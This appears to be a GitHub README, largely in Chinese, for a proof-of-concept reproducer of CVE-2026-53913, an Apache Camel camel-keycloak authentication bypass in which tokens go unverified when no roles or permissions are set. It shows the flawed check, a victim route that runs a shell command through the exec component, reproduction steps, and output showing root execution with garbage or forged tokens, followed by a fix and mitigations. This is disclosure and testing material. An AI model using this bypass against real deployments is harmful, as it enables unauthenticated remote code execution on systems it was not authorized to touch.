oscerd/CVE-2026-53913
GitHub: oscerd/CVE-2026-53913
CVE-2026-53913 的概念验证复现器,演示 Apache Camel camel-keycloak 在基本设置下因 token 未经验证而导致的认证绕过及未认证 RCE 漏洞。
Stars: 0 | Forks: 0
# camel-keycloak 故障开放认证绕过复现器 (CVE-2026-53913)
本项目演示了 Apache Camel `camel-keycloak` 安全策略中的一个**故障开放认证绕过**漏洞,
追踪编号为 **CVE-2026-53913** —— 这是 2026 年批次中最严重的问题(一个可能导致未认证 RCE 的预认证绕过漏洞)。
`KeycloakSecurityPolicy` 被应用于路由以要求有效的 Keycloak token。但实际验证 token(签名 / 签发者 / 过期时间以及内省路径)的唯一代码位于 `validateRoles()` /
`validatePermissions()` 内部,并且它们各自**仅在对应的必填列表非空时**才会被调用:
```
// KeycloakSecurityProcessor.beforeProcess (affected 4.18.2)
String accessToken = getAccessToken(exchange);
if (accessToken == null) {
throw new CamelAuthorizationException("Access token not found in exchange", exchange); // the ONLY guard
}
if (!policy.getRequiredRolesAsList().isEmpty()) {
validateRoles(accessToken, exchange); // token verification happens ONLY here...
}
if (!policy.getRequiredPermissionsAsList().isEmpty()) {
validatePermissions(accessToken, exchange); // ...or here
}
```
`KeycloakSecurityPolicy` 默认将 `requiredRoles` 和 `requiredPermissions` 设为 `""`。因此,在组件官方文档记载的**“基本设置”**中(应用该策略,但不配置角色/权限——这是常见的“仅要求认证”场景),token **只会进行非空检查**,并且**永远不会被验证**。任何非空的 bearer 值——例如像 `x` 这样的垃圾字符串,或者伪造的、未签名的 JWT——都能到达受保护的路由。启用
`useTokenIntrospection` 也无济于事:该路径也受同样的条件限制。
当受保护的路由转发到特权接收端(exec / sql / bean / file)时,这就构成了**未认证的远程代码执行**。此 PoC 将受保护的 admin 路由连接到 `exec` 组件,并展示了使用伪造/垃圾 bearer token 执行 shell 命令的过程(`CWE-287` / `CWE-306` / `CWE-636`)。
安全公告:
## 漏洞总结
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-keycloak` (安全策略) |
| **受影响类** | `org.apache.camel.component.keycloak.security.KeycloakSecurityProcessor#beforeProcess` (验证受限于非空的角色/权限) |
| **CWE** | CWE-287 (不当认证) / CWE-306 (缺失认证) / CWE-636 (未安全失败) |
| **影响** | 预认证绕过;当受保护的路由转发到代码执行接收端时会导致未认证 RCE |
| **前置条件** | 由 `KeycloakSecurityPolicy` 保护且未配置所需角色/权限的路由(文档记载的基本设置) |
| **受影响版本** | 从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 (camel-keycloak 在 4.15.0 中引入) |
| **修复版本** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23738 (PR [apache/camel#23958](https://github.com/apache/camel/pull/23958)) |
| **致谢** | Lidor Ben Shitrit (Novee Security) |
## 为什么不需要 Keycloak 服务器
绕过路径从不验证 token,因此它从不联系 Keycloak。复现器使用普通的(不可达的)服务器 URL/realm/client 配置策略,并且根本不会执行到验证代码——这正是缺陷所在。此过程不涉及任何 Keycloak 实例、网络或凭据。
## 受害者路由
```
from("platform-http:/admin/run")
.policy(keycloakPolicy) // Basic Setup: no roles/permissions -> token never verified
.setHeader("CamelExecCommandExecutable", constant("/bin/sh"))
.setHeader("CamelExecCommandArgs", constant("-c \"id > /tmp/pwned\""))
.to("exec:sh"); // the privileged admin operation
```
## 仓库布局
```
CVE-2026-53913/
├── pom.xml # camel-platform-http + camel-keycloak + camel-exec 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── KeycloakPolicyConfig.java # KeycloakSecurityPolicy in the Basic Setup (no roles/permissions)
│ ├── VictimRoute.java # platform-http:/admin/run -> policy -> exec
│ └── ExploitController.java # attacker: no token / garbage / forged JWT
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
1) No Authorization header
HTTP 500 (rejected)
2) Authorization: Bearer x (garbage — not a JWT at all)
HTTP 200 (BYPASSED -> admin operation ran)
/tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root)
3) Authorization: Bearer
HTTP 200 (BYPASSED -> admin operation ran)
/tmp/pwned present: true -> uid=0(root) gid=0(root) groups=0(root)
>>> PROVEN: with no required roles/permissions, the token is never verified. Any non-null bearer
>>> value (garbage or a forged unsigned JWT) reaches the protected admin operation, while a missing
>>> token is the only thing rejected. Pre-auth bypass -> unauthenticated RCE (id written to /tmp/pwned): true
```
## 推荐修复
升级到 **4.18.3 / 4.21.0** (CAMEL-23738)。升级后,`KeycloakSecurityPolicy` 会在应用时验证提供的 token,即使未配置角色/权限也是如此,因此伪造/垃圾 token 将被拒绝。
## 缓解措施
在升级之前,不要在没有角色/权限的情况下单独依赖 `KeycloakSecurityPolicy`。请配置所需的角色或权限(这会强制走验证路径),并且/或者在驱动特权接收端的任何路由前放置一个独立的、已验证的认证检查。
## 免责声明
本复现器仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于攻击系统。注入的命令是无害的 `id`,仅写入一个标记文件。
标签:Apache Camel, JS文件枚举, Keycloak, 域名枚举, 安全漏洞复现, 漏洞PoC, 版权保护, 请求拦截, 身份验证绕过